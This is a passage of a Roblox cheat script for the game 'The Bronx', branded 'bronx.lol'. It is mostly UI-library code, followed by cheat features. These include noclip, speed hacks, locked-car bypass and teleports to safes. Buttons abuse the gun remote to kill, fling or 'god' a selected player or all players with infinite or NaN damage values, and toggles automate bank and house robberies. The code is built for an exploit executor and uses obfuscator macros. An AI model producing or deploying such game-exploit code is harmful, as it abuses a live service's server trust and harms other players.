items[ "keybind_holder" ].AbsolutePosition.Y + items[ "keybind_holder" ].AbsoluteSize.Y + 60)
        end

        items[ "keybind_holder" ].InputBegan:Connect(function(Input)
                    if Input.UserInputType ~= Enum.UserInputType.Touch then return end
            task.wait()
            items[ "key" ].Text = "..."

            cfg.binding = library:connection(uis.InputBegan, function(keycode, game_event)
                cfg.set(keycode.KeyCode ~= Enum.KeyCode.Unknown and keycode.KeyCode or
keycode.UserInputType)

                cfg.binding:Disconnect()
                cfg.binding = nil
            end)
        end)

        items[ "keybind_holder" ].MouseButton2Down:Connect(function()
            cfg.open = not cfg.open

            cfg.set_visible(cfg.open)
        end)

        library:connection(uis.InputBegan, function(input, game_event)
            if not game_event then
                local selected_key = input.UserInputType == Enum.UserInputType.Keyboard and
input.KeyCode or input.UserInputType

                if selected_key == cfg.key then
                    if cfg.mode == "Toggle" then
                        cfg.active = not cfg.active
                        cfg.set(cfg.active)
                    elseif cfg.mode == "Hold" then
                        cfg.set(true)
                    end
                end
            end
        end)

        library:connection(uis.InputEnded, function(input, game_event)
            if game_event then
```

```
            return
        end

        local selected_key = input.UserInputType == Enum.UserInputType.Keyboard and
input.KeyCode or input.UserInputType

        if selected_key == cfg.key then
            if cfg.mode == "Hold" then
                cfg.set(false)
            end
        end
    end)

    cfg.set({mode = cfg.mode, active = cfg.active, key = cfg.key})
    config_flags[cfg.flag] = cfg.set

    return setmetatable(cfg, library)
end

function library:button(options)
    local cfg = {
        name = options.name or "TextBox",
        callback = options.callback or function() end,
        items = {};
    }

    local items = cfg.items; do
        items[ "button_element" ] = library:create( "Frame" , {
            Parent = self.items[ "elements" ];
            Name = "\0";
            BackgroundTransparency = 1;
            Size = dim2(1, 0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.Y;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        items[ "button" ] = library:create( "TextButton" , {
            FontFace = fonts.font;
            TextColor3 = rgb(0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Text = "";
            AutoButtonColor = false;
            AnchorPoint = vec2(1, 0);
            Parent = items[ "button_element" ];
            Name = "\0";
            Position = dim2(1, -4, 0, 0);
            Size = dim2(1, -8, 0, 30);
            BorderSizePixel = 0;
            TextSize = 14;
            BackgroundColor3 = rgb(33, 33, 35)
        });
```

```
            library:create( "UICorner" , {
                Parent = items[ "button" ];
                CornerRadius = dim(0, 3)
            });

            items[ "name" ] = library:create( "TextLabel" , {
                FontFace = fonts.small;
                TextColor3 = rgb(245, 245, 245);
                BorderColor3 = rgb(0, 0, 0);
                Text = cfg.name;
                Parent = items[ "button" ];
                Name = "\0";
                BackgroundTransparency = 1;
                Size = dim2(1, 0, 1, 0);
                BorderSizePixel = 0;
                AutomaticSize = Enum.AutomaticSize.XY;
                TextSize = 14;
                BackgroundColor3 = rgb(255, 255, 255)
            }); library:apply_theme(items[ "name" ], "accent", "BackgroundColor3");
        end

        items[ "button" ].InputBegan:Connect(function(input)
            if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType ==
Enum.UserInputType.Touch then
                cfg.callback()

                items[ "name" ].TextColor3 = themes.preset.accent
                library:tween(items[ "name" ], {TextColor3 = rgb(245, 245, 245)})
            end
        end)

        return setmetatable(cfg, library)
    end

    function library:settings(options)
        local cfg = {
            open = false;
            items = {};
            sanity = true; -- made this for my own sanity.
        }

        local items = cfg.items; do
            items[ "outline" ] = library:create( "Frame" , {
                Name = "\0";
                Visible = true;
                Parent = library[ "items" ];
                BorderColor3 = rgb(0, 0, 0);
                Size = dim2(0, 0, 0, 0);
                ClipsDescendants = true;
                BorderSizePixel = 0;
                AutomaticSize = Enum.AutomaticSize.Y;
                BackgroundColor3 = rgb(25, 25, 29)
            });
```

```
library:create( "UIScale" , {
    Parent = items[ "outline" ];
    Scale = scale;
});

items[ "inline" ] = library:create( "Frame" , {
    Parent = items[ "outline" ];
    Name = "\0";
    Position = dim2(0, 1, 0, 1);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, -2, 1, -2);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(22, 22, 24)
});

library:create( "UICorner" , {
    Parent = items[ "inline" ];
    CornerRadius = dim(0, 7)
});

items[ "elements" ] = library:create( "Frame" , {
    BorderColor3 = rgb(0, 0, 0);
    Parent = items[ "inline" ];
    Name = "\0";
    BackgroundTransparency = 1;
    Position = dim2(0, 10, 0, 10);
    Size = dim2(1, -20, 0, 0);
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.Y;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIListLayout" , {
    Parent = items[ "elements" ];
    Padding = dim(0, 10);
    SortOrder = Enum.SortOrder.LayoutOrder
});

library:create( "UIPadding" , {
    PaddingBottom = dim(0, 15);
    Parent = items[ "elements" ]
});

library:create( "UICorner" , {
    Parent = items[ "outline" ];
    CornerRadius = dim(0, 7)
});

library:create( "UICorner" , {
    Parent = items[ "fade" ];
    CornerRadius = dim(0, 7)
});

items[ "tick" ] = library:create( "ImageButton" , {
```

```
                Image = "rbxassetid://128797200442698";
                Name = "\0";
                AutoButtonColor = false;
                Parent = self.items[ "right_components" ];
                BorderColor3 = rgb(0, 0, 0);
                Size = dim2(0, 16, 0, 16);
                BorderSizePixel = 0;
                BackgroundColor3 = rgb(255, 255, 255)
            });
        end

        function cfg.set_visible(bool)
            library:tween(items[ "outline" ], {Size = dim_offset(bool and 240 or 0, 0)})
            items[ "outline" ].Position = dim_offset(items[ "tick" ].AbsolutePosition.X, items[ "tick"
].AbsolutePosition.Y + 90)
            library:close_element(cfg)
        end

        items[ "tick" ].InputBegan:Connect(function(input)
            if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType ==
Enum.UserInputType.Touch then
                cfg.open = not cfg.open
                cfg.set_visible(cfg.open)
            end
        end)

        return setmetatable(cfg, library)
    end

    function library:list(properties)
        local cfg = {
            items = {};
            options = properties.options or {"1", "2", "3"};
            flag = properties.flag or library:next_flag();
            callback = properties.callback or function() end;
            data_store = {};
            current_element;
        }

        local items = cfg.items; do
            items[ "list" ] = library:create( "Frame" , {
                Parent = self.items[ "elements" ];
                BackgroundTransparency = 1;
                Name = "\0";
                Size = dim2(1, 0, 0, 0);
                BorderColor3 = rgb(0, 0, 0);
                BorderSizePixel = 0;
                AutomaticSize = Enum.AutomaticSize.Y;
                BackgroundColor3 = rgb(255, 255, 255)
            });

            library:create( "UIListLayout" , {
                Parent = items[ "list" ];
                Padding = dim(0, 10);
```

```
        SortOrder = Enum.SortOrder.LayoutOrder
    });

    library:create( "UIPadding" , {
        Parent = items[ "list" ];
        PaddingRight = dim(0, 4);
        PaddingLeft = dim(0, 4)
    });
end

function cfg.refresh_options(options_to_refresh)
    for _,option in cfg.data_store do
        option:Destroy()
    end

    for _, option_data in options_to_refresh do
        local button = library:create( "TextButton" , {
            FontFace = fonts.small;
            TextColor3 = rgb(0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Text = "";
            AutoButtonColor = false;
            AnchorPoint = vec2(1, 0);
            Parent = items[ "list" ];
            Name = "\0";
            Position = dim2(1, 0, 0, 0);
            Size = dim2(1, 0, 0, 30);
            BorderSizePixel = 0;
            TextSize = 14;
            BackgroundColor3 = rgb(33, 33, 35)
        }); cfg.data_store[#cfg.data_store + 1] = button;

        local name = library:create( "TextLabel" , {
            FontFace = fonts.font;
            TextColor3 = rgb(72, 72, 73);
            BorderColor3 = rgb(0, 0, 0);
            Text = option_data;
            Parent = button;
            Name = "\0";
            BackgroundTransparency = 1;
            TextTruncate = Enum.TextTruncate.AtEnd;
            Size = dim2(1, 0, 1, 0);
            BorderSizePixel = 0;
            TextSize = 14;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        library:create( "UICorner" , {
            Parent = button;
            CornerRadius = dim(0, 3)
        });

        button.InputBegan:Connect(function(input)
```

```
                if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType ==
Enum.UserInputType.Touch then
                    local current = cfg.current_element

                    if current and current ~= name then
                        library:tween(current, {TextColor3 = rgb(72, 72, 72)})
                    end

                    flags[cfg.flag] = option_data
                    cfg.callback(option_data)
                    library:tween(name, {TextColor3 = rgb(245, 245, 245)})
                    cfg.current_element = name
                end
            end)

            name.MouseEnter:Connect(function()
                if cfg.current_element == name then
                    return
                end

                library:tween(name, {TextColor3 = rgb(140, 140, 140)})
            end)

            name.MouseLeave:Connect(function()
                if cfg.current_element == name then
                    return
                end

                library:tween(name, {TextColor3 = rgb(72, 72, 72)})
            end)
        end
    end

    cfg.refresh_options(cfg.options)

    return setmetatable(cfg, library)
end

function library:init_config(window)
    local text;
    window:seperator({name = "Settings"})
    local main = window:tab({name = "Configs", tabs = {"Main"}})

    local column = main:column({})
    local section = column:section({name = "Configs", size = 1, default = true, icon =
"rbxassetid://139628202576511"})
    config_holder = section:list({options = {"Report", "This", "Error", "To", "Finobe"},
callback = function(option)
        if text then
            text.set(option)
        end
    end, flag = "config_name_list"}); library:update_config_list()

    local column = main:column({})
```

```
        local section = column:section({name = "Settings", side = "right", size = 1, default =
true, icon = "rbxassetid://129380150574313"})
        text = section:textbox({name = "Config name:", flag = "config_name_text"})
        section:button({name = "Save", callback = function() writefile(library.directory .. "/
configs/" .. flags["config_name_text"] .. ".cfg", library:get_config()) library:update_config_list()
notifications:create_notification({name = "Configs", info = "Saved config to:\n" ..
flags["config_name_text"] or flags["config_name_text"]}) end})
        section:button({name = "Load", callback = function()
library:load_config(readfile(library.directory .. "/configs/" .. flags["config_name_text"] .. ".cfg"))
library:update_config_list() notifications:create_notification({name = "Configs", info = "Loaded
config:\n" .. flags["config_name_text"]}) end})
        section:button({name = "Delete", callback = function() delfile(library.directory .. "/
configs/" .. flags["config_name_text"] .. ".cfg")  library:update_config_list()
notifications:create_notification({name = "Configs", info = "Deleted config:\n" ..
flags["config_name_text"]}) end})
        section:colorpicker({name = "Menu Accent", callback = function(color, alpha)
library:update_theme("accent", color) end, color = themes.preset.accent})
        section:keybind({name = "Menu Bind", callback = function(bool)
window.toggle_menu(bool) end, default = true})
    end
--

-- Notification Library
    function notifications:refresh_notifs()
        local offset = 50

        for i, v in notifications.notifs do
            local Position = vec2(20, offset)
            library:tween(v, {Position = dim_offset(Position.X, Position.Y)},
Enum.EasingStyle.Quad, 0.4)
            offset += (v.AbsoluteSize.Y + 10)
        end

        return offset
    end

    function notifications:fade(path, is_fading)
        local fading = is_fading and 1 or 0

        library:tween(path, {BackgroundTransparency = fading}, Enum.EasingStyle.Quad, 1)

        for _, instance in path:GetDescendants() do
            if not instance:IsA("GuiObject") then
                if instance:IsA("UIStroke") then
                    library:tween(instance, {Transparency = fading}, Enum.EasingStyle.Quad, 1)
                end

                continue
            end

            if instance:IsA("TextLabel") then
                library:tween(instance, {TextTransparency = fading})
            elseif instance:IsA("Frame") then
```

```
                library:tween(instance, {BackgroundTransparency = instance.Transparency and 0.6
and is_fading and 1 or 0.6}, Enum.EasingStyle.Quad, 1)
            end
        end
    end

    function notifications:create_notification(options)
        local cfg = {
            name = options.name or "This is a title!";
            info = options.info or "This is extra info!";
            lifetime = options.lifetime or 3;
            items = {};
            outline;
        }

        local items = cfg.items; do
            items[ "notification" ] = library:create( "Frame" , {
                Parent = library[ "items" ];
                Size = dim2(0, 210, 0, 53);
                Name = "\0";
                BorderColor3 = rgb(0, 0, 0);
                BorderSizePixel = 0;
                BackgroundTransparency = 1;
                AnchorPoint = vec2(1, 0);
                AutomaticSize = Enum.AutomaticSize.Y;
                BackgroundColor3 = rgb(14, 14, 16)
            });

            library:create( "UIScale" , {
                Parent = items[ "notification" ];
                Scale = scale;
            });

            library:create( "UIStroke" , {
                Color = rgb(23, 23, 29);
                Parent = items[ "notification" ];
                Transparency = 1;
                ApplyStrokeMode = Enum.ApplyStrokeMode.Border
            });

            items[ "title" ] = library:create( "TextLabel" , {
                FontFace = fonts.font;
                TextColor3 = rgb(255, 255, 255);
                BorderColor3 = rgb(0, 0, 0);
                Text = cfg.name;
                Parent = items[ "notification" ];
                Name = "\0";
                BackgroundTransparency = 1;
                Position = dim2(0, 7, 0, 6);
                BorderSizePixel = 0;
                AutomaticSize = Enum.AutomaticSize.XY;
                TextSize = 14;
                BackgroundColor3 = rgb(255, 255, 255)
            });
```

```
    library:create( "UICorner" , {
        Parent = items[ "notification" ];
        CornerRadius = dim(0, 3)
    });

    items[ "info" ] = library:create( "TextLabel" , {
        FontFace = fonts.font;
        TextColor3 = rgb(145, 145, 145);
        BorderColor3 = rgb(0, 0, 0);
        Text = cfg.info;
        Parent = items[ "notification" ];
        Name = "\0";
        Position = dim2(0, 9, 0, 22);
        BorderSizePixel = 0;
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Left;
        TextWrapped = true;
        AutomaticSize = Enum.AutomaticSize.XY;
        TextSize = 14;
        BackgroundColor3 = rgb(255, 255, 255)
    });

    library:create( "UIPadding" , {
        PaddingBottom = dim(0, 17);
        PaddingRight = dim(0, 8);
        Parent = items[ "info" ]
    });

    items[ "bar" ] = library:create( "Frame" , {
        AnchorPoint = vec2(0, 1);
        Parent = items[ "notification" ];
        Name = "\0";
        Position = dim2(0, 8, 1, -6);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(0, 0, 0, 5);
        BackgroundTransparency = 1;
        BorderSizePixel = 0;
        BackgroundColor3 = themes.preset.accent
    });

    library:create( "UICorner" , {
        Parent = items[ "bar" ];
        CornerRadius = dim(0, 999)
    });

    library:create( "UIPadding" , {
        PaddingRight = dim(0, 8);
        Parent = items[ "notification" ]
    });
end

local index = #notifications.notifs + 1
notifications.notifs[index] = items[ "notification" ]
```

```
        notifications:fade(items[ "notification" ], false)

        local offset = notifications:refresh_notifs()

        items[ "notification" ].Position = dim_offset(20, offset)

        library:tween(items[ "notification" ], {AnchorPoint = vec2(0, 0)}, Enum.EasingStyle.Quad,
1)
        library:tween(items[ "bar" ], {Size = dim2(1, -8, 0, 5)}, Enum.EasingStyle.Quad,
cfg.lifetime)

        task.spawn(function()
            task.wait(cfg.lifetime)

            notifications.notifs[index] = nil

            notifications:fade(items[ "notification" ], true)

            library:tween(items[ "notification" ], {AnchorPoint = vec2(1, 0)},
Enum.EasingStyle.Quad, 1)

            task.wait(1)

            items[ "notification" ]:Destroy()
        end)
    end
  --end)()

  end
-- \\ Script

local window = library:window({name = "bronx", suffix = ".lol", gameInfo =
string.format("bronx.lol : %s", Game_Name:lower())})

if Game_Name == "The Bronx" then
  window:seperator({name = "Game"}) do
    local LocalPlayerTab, PlayersTab, PurchaseGunTab, MiscTab, SafeTab =
window:tab({name = "Main", tabs = {"Local Player", "Players", "Teleports", "Misc", "Safe"},
icon = GetImage("World.png")}) do
        do -- \\ Safe Tab
            local SafeItemColumn = SafeTab:column({})

            local SafeItemSection = SafeItemColumn:section({name = "Safe Selected Item", side
= "left", size = 1, icon = GetImage("Lock.png")})

            local _SafeItem = SafeItemSection:list({flag = "SafeSelectedItem_TheBronx", options
= {}, callback = function(state)
                task.spawn(LPH_NO_VIRTUALIZE(function()
                    if not state then
                        return
                    end
```

```
                local Safe, OldCFrame = GetWorkingSafe(),
LocalPlayer.Character.HumanoidRootPart.CFrame
                pcall(Teleport, Safe.ChestClicker.CFrame)
                local Tool = tostring(state)
                LocalPlayer.Character:WaitForChild"Humanoid":UnequipTools()

                local ItemSafed = false; local OldBackpackRemoved; OldBackpackRemoved =
LocalPlayer.Backpack.ChildRemoved:Connect(function(Child)
                    if tostring(Child) == Tool then
                        ItemSafed = true
                        OldBackpackRemoved:Disconnect()
                    end
                end)

                task.delay(3, function()
                    ItemSafed = true
                end)

                task.wait(0.5)

                ReplicatedStorage.Inventory:FireServer("Change", Tool, "Backpack", Safe)

                repeat task.wait() until ItemSafed == true

                pcall(Teleport, OldCFrame)

                library.notifications:create_notification({
                    name = "bronx.lol",
                    info = `Successfully safed {state}!`,
                    lifetime = 5
                })
            end))
        end})

        SafeItemColumn = SafeTab:column({})

        SafeItemSection = SafeItemColumn:section({name = "Take Selected Item", side =
"right", size = 1, icon = GetImage("UZI.png")})

        local _TakeItem = SafeItemSection:list({flag = "TakeSelectedItem_TheBronx", options
= {}, callback = function(state)
            task.spawn(LPH_NO_VIRTUALIZE(function()
                if not state then
                    return
                end

                local Safe, OldCFrame = GetWorkingSafe(),
LocalPlayer.Character.HumanoidRootPart.CFrame
                pcall(Teleport, Safe.ChestClicker.CFrame)

                local Tool = tostring(state);

                local ItemSafed = false; local OldBackpackChildAdded;
OldBackpackChildAdded = LocalPlayer.Backpack.ChildAdded:Connect(function(Child)
```

```
            if tostring(Child) == Tool then
                ItemSafed = true
                OldBackpackChildAdded:Disconnect()
            end
        end)

        task.delay(3, function()
            ItemSafed = true
        end)

        task.wait(0.5)

        ReplicatedStorage.Inventory:FireServer("Change", Tool, "Inv", Safe)

        repeat task.wait() until ItemSafed == true

        pcall(Teleport, OldCFrame)

        library.notifications:create_notification({
            name = "bronx.lol",
            info = `Successfully took {state} from safe!`,
            lifetime = 5
        })
    end))
end})

local Backpack_ChildAdded, Backpack_ChildRemoved

local ConnectBackpackToRefreshSafeList = LPH_JIT_MAX(function()
    LocalPlayer:WaitForChild("Backpack")

    local Refresh = LPH_NO_VIRTUALIZE(function()
        local Items = {}

        for Index, Value in LocalPlayer.Backpack:GetChildren() do
            if Value:IsA("Tool") then
                table.insert(Items, Value.Name)
            end
        end

        table.sort(Items)

        _SafeItem.refresh_options(Items)

        return Items
    end)

    task.spawn(Refresh)

    if Backpack_ChildAdded then
        Backpack_ChildAdded:Disconnect()
        Backpack_ChildAdded = nil
    end
```

```
            if Backpack_ChildRemoved then
                Backpack_ChildRemoved:Disconnect()
                Backpack_ChildRemoved = nil
            end

            Backpack_ChildAdded = LocalPlayer.Backpack.ChildAdded:Connect(Refresh)
            Backpack_ChildRemoved =
LocalPlayer.Backpack.ChildRemoved:Connect(Refresh)
        end)

        Players.PlayerRemoving:Connect(LPH_NO_VIRTUALIZE(function(Player)
            if Player == LocalPlayer then
                Backpack_ChildAdded:Disconnect(); Backpack_ChildRemoved:Disconnect()
            end
        end))

        task.spawn(ConnectBackpackToRefreshSafeList)

        LocalPlayer.CharacterAdded:Connect(ConnectBackpackToRefreshSafeList)

        local RefreshTakeItemList = LPH_NO_VIRTUALIZE(function()
            local Items = {}

            for Index, Value in LocalPlayer:WaitForChild("InvData"):GetChildren() do
                table.insert(Items, Value.Name)
            end

            table.sort(Items)

            _TakeItem.refresh_options(Items)

            return Items
        end)

        task.spawn(RefreshTakeItemList)

        LocalPlayer:WaitForChild("InvData").ChildAdded:Connect(RefreshTakeItemList)
        LocalPlayer:WaitForChild("InvData").ChildRemoved:Connect(RefreshTakeItemList)
    end

    do -- \\ Local Player Tab
        local LocalPlayerColumn = LocalPlayerTab:column({})

        local LocalPlayerModsSection = LocalPlayerColumn:section({name = "Local Player
Modifications", side = "left", size = 1.0135})

        local __Modifications = {
            "Infinite Sleep";
            "Infinite Hunger";
            "Infinite Stamina";
            "Instant Interact";
            "Instant Revive";
            "Auto Pickup Cash";
            "Auto Pickup Bags";
```

```
            "Disable Camera Bobbing";
            --"Disable Cameras";
            "Disable Blood Effects";
            "Bypass Locked Cars";
            "No Jump Cooldown";
            "No Rent Pay";
            "No Fall Damage";
            "No Knockback";
            "Respawn Where You Died";
        }

        for _, Index in __Modifications do
            LocalPlayerModsSection:toggle({type = "toggle", name = Index, flag = Index,
default = false, callback = function(state)
                Config.TheBronx.PlayerModifications[Index:gsub(" ", "")] = state
            end})
        end

        LocalPlayerColumn = LocalPlayerTab:column({})
        local CharacterModsSection = LocalPlayerColumn:section({name = "Character
Modifications", side = "right", size = 0.645, icon = GetImage("Wrench.png")})

        CharacterModsSection:toggle({type = "toggle", name = "Modify WalkSpeed", flag =
"ModifyWalkSpeed_TheBronx", default = false, callback = function(state)
            Config.MiscSettings.ModifySpeed.Enabled = state
        end})

        CharacterModsSection:toggle({type = "toggle", name = "Modify JumpPower", flag =
"ModifyJumpPower_TheBronx", default = false, callback = function(state)
            Config.MiscSettings.ModifyJump.Enabled = state
        end})

        CharacterModsSection:toggle({type = "toggle", name = "Click Teleport", flag =
"ClickTeleport_TheBronx", default = false})

        local _NoClipToggle = CharacterModsSection:toggle({type = "toggle", name = "No
Clip", flag = "NoClip_TheBronx", seperator = true, default = false, callback = function(state)
            if state then
                RunService:BindToRenderStep("NOCLIP", 1, LPH_NO_VIRTUALIZE(function()
                    if LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("Humanoid") then
                        if LocalPlayer.Character.Humanoid.Health ~= 0 then
                            for Index, Value in LocalPlayer.Character:GetDescendants() do
                                if Collide_Data[Value.Name] then
                                    pcall(function()
                                        Value.CanCollide = false
                                    end)
                                end
                            end
                        else
                            for Index, Value in LocalPlayer.Character:GetDescendants() do
                                if Collide_Data[Value.Name] then
                                    pcall(function()
                                        Value.CanCollide = true
```

```
                    end)
                end
            end
        end
    end
end))
else
    RunService:UnbindFromRenderStep("NOCLIP")

    for Index, Value in LocalPlayer.Character:GetDescendants() do
        if Collide_Data[Value.Name] then
            pcall(function()
                Value.CanCollide = true
            end)
        end
    end
end
end})

CharacterModsSection:slider({name = "WalkSpeed Value", flag =
"WalkSpeedValue_TheBronx", min = 0, max = 250, default = 50, suffix = "%", callback =
function(state)
    Config.MiscSettings.ModifySpeed.Value = state
end})

CharacterModsSection:slider({name = "JumpPower Value", flag =
"JumpPowerValue_TheBronx", min = 0, max = 250, default = 7, suffix = "%", callback =
function(state)
    Config.MiscSettings.ModifyJump.Value = state
end})

CharacterModsSection:keybind({name = "Click Teleport Key", flag =
"ClickTeleportKey_TheBronx", key = Enum.KeyCode.LeftControl, mode = "Hold", callback =
function(state)
    Config.TheBronx.ClickTeleportActive = state
end})

local UISection = LocalPlayerColumn:section({name = "Toggle Interfaces Section",
side = "right", size = 0.225, icon = GetImage("Settings.png")})

local _UINames, BlacklistedNames = {'ATM GUI'}, {"Dead", "Settings1", "Controls",
"FirstShopGUI", "Freecam", "ThaShop2", "WATCH GUI", "NYPD Cars", "CONSTRUCTION
LEVEL", "RobPlayerUI", "Bronx LOCKER", 'MobileBeam', 'Settings', 'Flash', 'Enter',
'CopSirens'}

for Index, Value in LocalPlayer.PlayerGui:GetChildren() do
    if Value:IsA("ScreenGui") and not Value.Enabled then
        if table.find(BlacklistedNames, Value.Name) then continue end
        table.insert(_UINames, Value.Name)
    end
end

local _UI_EnabledToggle;
```

```
        UISection:dropdown({name = "Selected UI", flag = "SelectedUI_TB3", width = 120,
items = _UINames, seperator = false, multi = false, default = 'Bronx Market 2'})

        _UI_EnabledToggle = UISection:toggle({name = "UI Enabled", type = 'toggle',
callback = function(state)
            task.spawn(LPH_NO_VIRTUALIZE(function()
                if tostring(library.flags["SelectedUI_TB3"]) == "ATM GUI" then
                    local SelectedUI = LocalPlayer.PlayerGui:FindFirstChild("ATMGui")

                    if not SelectedUI and state then
                        local _Clone = Lighting.Assets.GUI.ATMGui:Clone()
                        _Clone.Parent = LocalPlayer.PlayerGui
                        SelectedUI = _Clone
                        _Clone.Frame.closeBtn.MouseButton1Click:Connect(function()
                            _UI_EnabledToggle.set(false)
                            --_Clone:Destroy()
                        end)
                    end

                    if not state and SelectedUI then
                        SelectedUI:Destroy()
                    end

                    local Old_UI_Value = library.flags["SelectedUI_TB3"]

                    repeat task.wait() until library.flags["SelectedUI_TB3"] ~= Old_UI_Value

                    if SelectedUI then
                        SelectedUI:Destroy()
                    end

                    if _UI_EnabledToggle then
                        _UI_EnabledToggle.set(false)
                    end

                    return
                end

                local SelectedUI =
LocalPlayer.PlayerGui:FindFirstChild(tostring(library.flags["SelectedUI_TB3"]))

                if SelectedUI then
                    SelectedUI.Enabled = state

                    local Old_UI_Value = library.flags["SelectedUI_TB3"]

                    repeat task.wait() until library.flags["SelectedUI_TB3"] ~= Old_UI_Value

                    SelectedUI.Enabled = false
                    if _UI_EnabledToggle then
                        _UI_EnabledToggle.set(false)
                    end
                end
            end))
```

```
        end})
    end

    do -- \\ Players Tab
        local Column = PlayersTab:column({})

        local PlayerListSection = Column:section({name = "Select Player", size = 1, default =
false, side = 'left' --[[3 people icon]]})

        local PlayerList = PlayerListSection:list({flag = "SelectPlayer_TheBronx", options = {},
callback = function(state)
            Config.TheBronx.PlayerUtilities.SelectedPlayer = tostring(state)
        end})

        local RefreshPlayers = LPH_NO_VIRTUALIZE(function()
            local Cache = {}

            for i, Player in Players:GetPlayers() do
                if Player == LocalPlayer then continue end

                table.insert(Cache, Player.Name)
            end

            table.sort(Cache)

            PlayerList.refresh_options(Cache)
        end)

        task.spawn(RefreshPlayers)

        Players.PlayerAdded:Connect(RefreshPlayers)

        Players.PlayerRemoving:Connect(RefreshPlayers)

        Column = PlayersTab:column({})

        local PlayerOptionsSection = Column:section({name = "Player Options", size = 1,
default = false, side = 'right', icon = GetImage("Wrench.png")})

        PlayerOptionsSection:toggle({type = "toggle", name = "Spectate Player", flag =
"SpectatePlayer_TheBronx", default = false, callback = function(state)
            Config.TheBronx.PlayerUtilities.SpectatePlayer = state
        end})

        PlayerOptionsSection:toggle({type = "toggle", name = "Bring Player", flag =
"BringPlayer_TheBronx", default = false, callback = function(state)
            Config.TheBronx.PlayerUtilities.BringingPlayer = state
        end})

        PlayerOptionsSection:toggle({type = "toggle", name = "Bug / Kill Player - Car", flag =
"BugPlayer_TheBronx", default = false, callback = function(state)
            Config.TheBronx.PlayerUtilities.BugPlayer = state
        end})
```

```
        PlayerOptionsSection:toggle({type = "toggle", name = "Auto Kill Player - Gun", flag =
"AutoKillPlayer_TheBronx", default = false, callback = function(state)
            Config.TheBronx.PlayerUtilities.AutoKill = state
        end})

        PlayerOptionsSection:toggle({type = "toggle", name = "Auto Ragdoll Player - Gun",
flag = "AutoRagdollPlayer_TheBronx", seperator = true, default = false, callback =
function(state)
            Config.TheBronx.PlayerUtilities.AutoRagdoll = state
        end})

        PlayerOptionsSection:button({name = "Teleport To Player", callback = function()
            task.spawn(Teleport,
Players[Config.TheBronx.PlayerUtilities.SelectedPlayer].Character.HumanoidRootPart.CFrame)
        end})

        PlayerOptionsSection:button({name = "Down Player - Hold Gun", callback =
function(state)
            pcall(kill_gun, Config.TheBronx.PlayerUtilities.SelectedPlayer,
"HumanoidRootPart",
(Players[Config.TheBronx.PlayerUtilities.SelectedPlayer].Character.Humanoid.Health - 5))
        end})

        PlayerOptionsSection:button({name = "Kill Player - Hold Gun", callback =
function(state)
            pcall(kill_gun, Config.TheBronx.PlayerUtilities.SelectedPlayer,
"HumanoidRootPart", math.huge)
        end})

        PlayerOptionsSection:button({name = "God Player - Hold Gun", callback =
function(state)
            pcall(kill_gun, Config.TheBronx.PlayerUtilities.SelectedPlayer,
"HumanoidRootPart", math.sqrt(-1))
        end})

        PlayerOptionsSection:button({name = "Fling Player - Hold Gun", callback =
function(state)
            for Index=1, 50 do
                pcall(kill_gun, Config.TheBronx.PlayerUtilities.SelectedPlayer, "RightUpperLeg",
0.01)
            end
        end})

        PlayerOptionsSection:button({name = "God All Players - Hold Gun", callback =
function()
            task.spawn(LPH_NO_VIRTUALIZE(function()
                for Index, Value in Players:GetPlayers() do
                    if Value ~= LocalPlayer and Value.Character and
Value.Character:FindFirstChild("Humanoid") and
Value.Character:FindFirstChild("Humanoid").Health ~= 0 and not
Value.Character:FindFirstChildOfClass("ForceField") and
Value.Character:FindFirstChild("HumanoidRootPart") then
                        pcall(kill_gun, Value.Name, "HumanoidRootPart", math.sqrt(-1))
                        task.wait(0.1)
```

```
                end
            end
        end))
    end})

    PlayerOptionsSection:button({name = "Kill All Players - Hold Gun", callback =
function()
        task.spawn(LPH_NO_VIRTUALIZE(function()
            for Index, Value in Players:GetPlayers() do
                if Value ~= LocalPlayer and Value.Character and
Value.Character:FindFirstChild("Humanoid") and
Value.Character:FindFirstChild("Humanoid").Health ~= 0 and not
Value.Character:FindFirstChildOfClass("ForceField") and
Value.Character:FindFirstChild("HumanoidRootPart") then
                    pcall(kill_gun, Value.Name, "HumanoidRootPart", math.huge)
                    task.wait(0.1)
                end
            end
        end))
    end})
end

do -- \\ Misc Tab
    local Column = MiscTab:column({})

    local FarmingSection = Column:section({name = "Farming", size = 0.415, default =
false, side = 'left', icon = GetImage("Wheatt.png")})

    FarmingSection:toggle({type = "toggle", name = "Auto Farm Construction", flag =
"FarmConstruction_TheBronx", default = false, callback = function(state)
        Config.TheBronx.Farms.FarmConstructionJob = state
    end})

    FarmingSection:toggle({type = "toggle", name = "Auto Farm Bank Robbery", flag =
"FarmBank_TheBronx", default = false, callback = function(state)
        Config.TheBronx.Farms.FarmBank = state
    end})

    FarmingSection:toggle({type = "toggle", name = "Auto Farm House Robbery", flag =
"FarmHouses_TheBronx", default = false, callback = function(state)
        Config.TheBronx.Farms.FarmHouses = state
    end})

    FarmingSection:toggle({type = "toggle", name = "Auto Farm Studio Robbery", flag =
"FarmStudio_TheBronx", default = false, callback = function(state)
        Config.TheBronx.Farms.FarmStudio = state
    end})

    FarmingSection:toggle({type = "toggle", name = "Auto Farm Dumpsters", flag =
"FarmDumpsters_TheBronx", default = false, callback = function(state)
        Config.TheBronx.Farms.FarmTrash = state
    end})
```

```
        local ManualFarmSections = Column:section({name = "Manual Farms", size = 0.325,
default = false, side = 'left', icon = GetImage("Pickkaxe.png")})

        ManualFarmSections:toggle({type = "toggle", name = "Auto Collect Dropped Cash",
flag = "FarmDroppedMoney_TheBronx", default = false, callback = function(state)
            Config.TheBronx.Farms.CollectDroppedMoney = state
        end})

        ManualFarmSections:toggle({type = "toggle", name = "Auto Collect Dropped Bags",
